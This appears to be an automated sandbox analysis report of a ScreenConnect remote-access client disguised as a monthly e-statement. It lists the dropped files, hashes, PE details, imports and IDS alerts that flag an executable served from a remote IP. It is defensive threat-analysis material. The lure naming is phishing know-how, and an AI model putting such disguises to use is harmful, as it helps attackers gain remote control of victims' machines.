Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.Core" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.Core.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System.Configuration" publicKeyToken="b03f5f7f11d50a3a" version="2.0.0.0" />.. </dependentAssem

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Windows.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1721856
Entropy (8bit):	6.639136400085158
Encrypted:	false
SSDEEP:	24576:gx5x94kEFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:gx5xKkEJkGYYpT0+TFiH7efP
MD5:	9F823778701969823C5A01EF3ECE57B7
SHA1:	DA733F482825EC2D91F9F1186A3F934A2EA21FA1
SHA-256:	ABCA7CF12937DA14C9323C880EC490CC0E063D7A3EEF2EAC878CD25C84CF1660
SHA-512:	FFC40B16F5EA2124629D797DC3A431BEB929373BFA773C6CDDC21D0DC4105D7360A485EA502CE8EA3B12EE8DCA8275A0EC386EA179093AF3AA8B31B4DD3AE1CA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l............" ..0..>...........]... ...`....... ..............................[.....@................................./]..O....`...............................\..8............................................ ............... ..H............text....=... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............D..............@..B................c]......H.......t...h..............0....\........................................()...^.()..........%...}....:.().....}....:.().....}....:.().....}......s.....s+...:.(,.....(-.....{...."..}....J.(/........(0...&:.(,.....(1.....{2..."..}2....0..(........(3......+.............(0...&..X....i2.v.(,....s4...}.....s5...}....v.{.....r...p(...+.....o7.....0...........o8....+..o9......(...+&.o....-....,..o................."........{..........o:...&.......(.........0..L...

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Windows.dll.genman

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1982
Entropy (8bit):	5.057585371364542
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onRbggeP0AuEvSkcyMuscVSkcHSkcf5bdcadccdcckdTo:3FYZ8h9oygI0AbHMrGQAXRTFgTo
MD5:	50FC8E2B16CC5920B0536C1F5DD4AEAE
SHA1:	6060C72B1A84B8BE7BAC2ACC9C1CEBD95736F3D6
SHA-256:	95855EF8E55A75B5B0B17207F8B4BA9370CD1E5B04BCD56976973FD4E731454A
SHA-512:	BD40E38CAC8203D8E33F0F7E50E2CAB9CFB116894D6CA2D2D3D369E277D93CDA45A31E8345AFC3039B20DD4118DC8296211BADFFA3F1B81E10D14298DD842D05
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.Windows" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.Windows.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </depen

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsBackstageShell.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	61216
Entropy (8bit):	6.31175789874945
Encrypted:	false
SSDEEP:	1536:SW/+lo6MOc8IoiKWjbNv8DtyQ4RE+TC6VAhVbIF7fIxp:SLlo6dccl9yQGVtFra
MD5:	6DF2DEF5E591E2481E42924B327A9F15
SHA1:	38EAB6E9D99B5CAEEC9703884D25BE8D811620A9
SHA-256:	B6A05985C4CF111B94A4EF83F6974A70BF623431187691F2D4BE0332F3899DA9
SHA-512:	5724A20095893B722E280DBF382C9BFBE75DD4707A98594862760CBBD5209C1E55EEAF70AD23FA555D62C7F5E54DE1407FB98FC552F42DCCBA5D60800965C6A5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...L............."...0.................. ........@.. ....................... ......3]....@.....................................O.......,............... )..............8............................................ ............... ..H............text........ ...................... ..`.rsrc...,...........................@..@.reloc..............................@..B........................H........S......................x.........................................(....^.(.......a...%...}....:.(......}....:.(......}....:.(......}........0..........(....(....(....(....r...p(....o....(....r...p..~....(....(....r9..p..~....(....(.....g~).....(....rY..p.(....&(.....(....s....( ...s....(!......0...........(".....(#.....($....s....%.o%...%.o&...%.o'...%s!...o(...%~....o)...}......(....o*...o+....(,.....@...%..(.....o-....s....}.....{...........s/...o0....s....}..

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsBackstageShell.exe.config

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsClient.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	601376
Entropy (8bit):	6.185921191564225
Encrypted:	false
SSDEEP:	6144:r+z3H0n063rDHWP5hLG/6XixJQm16Eod7ZeYai1FzJTZJ5BCEOG6y9QsZSc4F2/Q:qzEjrTWPMLBfWFaSdJ5BeG6xs6/yRod
MD5:	20AB8141D958A58AADE5E78671A719BF
SHA1:	F914925664AB348081DAFE63594A64597FB2FC43
SHA-256:	9CFD2C521D6D41C3A86B6B2C3D9B6A042B84F2F192F988F65062F0E1BFD99CAB
SHA-512:	C5DD5ED90C516948D3D8C6DFA3CA7A6C8207F062883BA442D982D8D05A7DB0707AFEC3A0CB211B612D04CCD0B8571184FC7E81B2E98AE129E44C5C0E592A5563
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...{<............"...0.................. ... ....@.. .......................`.......x....@.................................=...O.... .................. )...@..........8............................................ ............... ..H............text...`.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................q.......H........H................................................................{D.....{E...V.(F.....}D.....}E......0..A........u1.......4.,/(G....{D....{D...oH...,.(I....{E....{E...oJ...... }.o )UU.Z(G....{D...oK...X )UU.Z(I....{E...oL...X...0..b........r...p......%..{D......%q4....4...-.&.+...4...oM....%..{E......%q5....5...-.&.+...5...oM....(N.....{O.....{P...V.(F.....}O.....}P....0..A........u6.......4.,/(G....{O....{O...oH...,.(I....{P....{P...oJ...... 1.c. )UU.

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsClient.exe.config

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsClient.exe.genman

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2573
Entropy (8bit):	5.026361555169168
Encrypted:	false
SSDEEP:	48:3FYZ8h9o5gI0AsHMrAXQ3MrTMrRGTDBTo:1YiW4AjEvEJ
MD5:	3133DE245D1C278C1C423A5E92AF63B6
SHA1:	D75C7D2F1E6B49A43B2F879F6EF06A00208EB6DC
SHA-256:	61578953C28272D15E8DB5FD1CFFB26E7E16B52ADA7B1B41416232AE340002B7
SHA-512:	B22D4EC1D99FB6668579FA91E70C182BEC27F2E6B4FF36223A018A066D550F4E90AAC3DFFD8C314E0D99B9F67447613CA011F384F693C431A7726CE0665D7647
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.WindowsClient" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.WindowsClient.exe" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System.Drawing" publicKeyToken="b03f5f7f11d50a3a" version="2.0.

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsClient.exe.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (10074), with CRLF line terminators
Category:	dropped
Size (bytes):	17866
Entropy (8bit):	5.954687824833028
Encrypted:	false
SSDEEP:	384:ze1oEQwK45aMUf6FX9hJX9FX9R/QPIYM7Y7:zd6FX9hJX9FX9R/QPIN07
MD5:	1DC9DD74A43D10C5F1EAE50D76856F36
SHA1:	E4080B055DD3A290DB546B90BCF6C5593FF34F6D
SHA-256:	291FA1F674BE3CA15CFBAB6F72ED1033B5DD63BCB4AEA7FBC79FDCB6DD97AC0A
SHA-512:	91E8A1A1AEA08E0D3CF20838B92F75FA7A5F5DACA9AEAD5AB7013D267D25D4BF3D291AF2CA0CCE8B73027D9717157C2C915F2060B2262BAC753BBC159055DBDF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:co.v1="urn:schemas-microsoft-com:clickonce.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:co.v2="urn:schemas-microsoft-com:clickonce.v2">.. <asmv1:assemblyIdentity name="ScreenConnect.WindowsClient.exe" version="24.2.10.8991" publicKeyToken="25b0fbb6ef7eb094" language="neutral" processorArchitecture="msil" type="win32" />.. <application />.. <entryPoint>.. <assemblyIdentity name="ScreenConnect.WindowsClient" version="24.2.10.8991" publicKeyToken="4B14C015C87C1AD8" language="neutral" processorArchitecture="msil" />.. <commandLine file="ScreenConnect.WindowsClient.exe" paramet

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsFileManager.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	81696
Entropy (8bit):	5.862223562830496
Encrypted:	false
SSDEEP:	1536:/tytl44RzbwI5kLP+VVVVVVVVVVVVVVVVVVVVVVVVVC7Yp7gxd:8/KukLdUpc
MD5:	B1799A5A5C0F64E9D61EE4BA465AFE75
SHA1:	7785DA04E98E77FEC7C9E36B8C68864449724D71
SHA-256:	7C39E98BEB59D903BC8D60794B1A3C4CE786F7A7AAE3274C69B507EBA94FAA80
SHA-512:	AD8C810D7CC3EA5198EE50F0CEB091A9F975276011B13B10A37306052697DC43E58A16C84FA97AB02D3927CD0431F62AEF27E500030607828B2129F305C27BE8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P............"...0..@...........^... ...`....@.. .......................`......j.....@..................................^..O....`.. ............... )...@.......]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc... ....`.......B..............@..@.reloc.......@......................@..B.................^......H....... +..@2..................`]........................................(....^.(.......;...%...}....:.(......}....:.(......}....:.(......}........0..........s>....(....(....(....(....(.....(....(......s....}B....s....}C....~@...%-.&~?.....<...s ...%.@...o...+.....@...s ...o...+......A...s!...o...+}D.......B...s"...o...+.......(#...&......(#...& .... ...........($...&s....t......r...prs..p(%...(&...~>...%-.&...'...s(...%.>.....A...().......(........(+...o,...(-...t....

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsFileManager.exe.config

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\932a2db58c237abd381d22df4c63a04a_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	87
Entropy (8bit):	3.463057265798253
Encrypted:	false
SSDEEP:	3:/lqlhGXKRjgjkFmURueGvx2VTUz:4DRPAx2Kz
MD5:	D2DED43CE07BFCE4D1C101DFCAA178C8
SHA1:	CE928A1293EA2ACA1AC01B61A344857786AFE509
SHA-256:	8EEE9284E733B9D4F2E5C43F71B81E27966F5CD8900183EB3BB77A1F1160D050
SHA-512:	A05486D523556C75FAAEEFE09BB2F8159A111B1B3560142E19048E6E3898A506EE4EA27DD6A4412EE56A7CE7C21E8152B1CDD92804BAF9FAC43973FABE006A2F
Malicious:	false
Preview:	......../...............................Microsoft Enhanced Cryptographic Provider v1.0.

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.416874755860817
Encrypted:	false
SSDEEP:	6144:Scifpi6ceLPL9skLmb0moSWSPtaJG8nAgex285i2MMhA20X4WABlGuNP5+:/i58oSWIZBk2MM6AFBFo
MD5:	C0CBA4248B71C41D7366B4C8C55AB5AE
SHA1:	7EA5CAD025A1E47B00A71F81AF3A9B44E1B520C3
SHA-256:	B4A2CBEEDC95CA03A131B5DD38675F16B2607DB6683AED2600283DFE236E0A2C
SHA-512:	6148434F265CE40FCDB03BDFF51314A03CD00E062B35CAF3ED5D83A12F741926A7A35A13B011E4348F1F3C38FCF842BAA52DD6E79A7E261865047253F7347904
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.?..1...............................................................................................................................................................................................................................................................................................................................................P(.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.514403774293619
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	monthly-eStatementForum120478962.Client.exe
File size:	83'376 bytes
MD5:	27bd2490fd75556aab2df57ea7c1147f
SHA1:	4eb9656ede1fed23fdaeb67815afcd489ded0f77
SHA256:	7d6376247db9e267f27d1d6bf32b48afcab0ad277706fc0135d803645f7852a5
SHA512:	b70743c0c03cad64c9f258db7de324ca083ec15ad922f16460febbe47f018aedcbf83e39d8f2b4a57ff77d71727e11a2585264de9dadb15f0ea18abe1e34b350
SSDEEP:	1536:JoG6KpY6Qi3yj2wyq4HwiMO10HVLCJRpsWr6cdaxPBJYYX7gxD:TenkyfPAwiMq0RqRfbaxZJYYX
TLSH:	0F835B43B5E18875E9730E3118B1D9B4593FBD110EA48EAF3398426A0F351D19E3AE7B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ycId...d...d.......n...............\|.......A.......v.......v...m`..a...d...........e.......e.......e...Richd...........PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x401489
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66BBDDB2 [Tue Aug 13 22:26:58 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	37d5c89163970dd3cc69230538a1b72b

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	17/08/2022 02:00:00 16/08/2025 01:59:59
Subject Chain	CN="Connectwise, LLC", O="Connectwise, LLC", L=Tampa, S=Florida, C=US
Version:	3
Thumbprint MD5:	AAE704EC2810686C3BF7704E660AFB5D
Thumbprint SHA-1:	4C2272FBA7A7380F55E2A424E9E624AEE1C14579
Thumbprint SHA-256:	82B4E7924D5BED84FB16DDF8391936EB301479CEC707DC14E23BC22B8CDEAE28
Serial:	0B9360051BCCF66642998998D5BA97CE

Entrypoint Preview

Instruction
call 00007FA13C5671BAh
jmp 00007FA13C566C6Fh
push ebp
mov ebp, esp
push 00000000h
call dword ptr [0040B048h]
push dword ptr [ebp+08h]
call dword ptr [0040B044h]
push C0000409h
call dword ptr [0040B04Ch]
push eax
call dword ptr [0040B050h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [0040B054h]
test eax, eax
je 00007FA13C566DF7h
push 00000002h
pop ecx
int 29h
mov dword ptr [004118C0h], eax
mov dword ptr [004118BCh], ecx
mov dword ptr [004118B8h], edx
mov dword ptr [004118B4h], ebx
mov dword ptr [004118B0h], esi
mov dword ptr [004118ACh], edi
mov word ptr [004118D8h], ss
mov word ptr [004118CCh], cs
mov word ptr [004118A8h], ds
mov word ptr [004118A4h], es
mov word ptr [004118A0h], fs
mov word ptr [0041189Ch], gs
pushfd
pop dword ptr [004118D0h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [004118C4h], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [004118C8h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [004118D4h], eax
mov eax, dword ptr [ebp-00000324h]
mov dword ptr [00411810h], 00010001h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1060c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x13000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x11800	0x2db0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x14000	0xddc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xfe38	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xfd78	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb000	0x13c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9cf8	0x9e00	bae4521030709e187bdbe8a34d7bf731	False	0.6035650712025317	data	6.581464957368758	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xb000	0x5d58	0x5e00	ec94ce6ebdbe57640638e0aa31d08896	False	0.4178025265957447	Applesoft BASIC program data, first line number 1	4.843224204192078	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x11000	0x11cc	0x800	04a548a5c04675d08166d3823a6bf61b	False	0.16357421875	data	2.0120795802951505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x13000	0x1e0	0x200	aa256780346be2e1ee49ac6d69d2faff	False	0.52734375	data	4.703723272345726	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x14000	0xddc	0xe00	908329e10a1923a3c4938a10d44237d9	False	0.7776227678571429	data	6.495696626464028	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x13060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

LocalFree, GetProcAddress, LoadLibraryA, Sleep, LocalAlloc, GetModuleFileNameW, DecodePointer, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RtlUnwind, GetLastError, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, RaiseException, GetStdHandle, WriteFile, GetModuleFileNameA, MultiByteToWideChar, WideCharToMultiByte, ExitProcess, GetModuleHandleExW, GetACP, CloseHandle, HeapAlloc, HeapFree, FindClose, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, LCMapStringW, SetStdHandle, GetFileType, GetStringTypeW, GetProcessHeap, HeapSize, HeapReAlloc, FlushFileBuffers, GetConsoleCP, GetConsoleMode, SetFilePointerEx, WriteConsoleW, CreateFileW

CRYPT32.dll

CertDeleteCertificateFromStore, CryptMsgGetParam, CertCloseStore, CryptQueryObject, CertAddCertificateContextToStore, CertFindAttribute, CertFreeCertificateContext, CertCreateCertificateContext, CertOpenSystemStoreA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-08T11:09:27.640004+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.7	49730	TCP
2024-11-08T11:09:29.098621+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.7	49737	TCP
2024-11-08T11:09:34.163926+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.7	49771	TCP
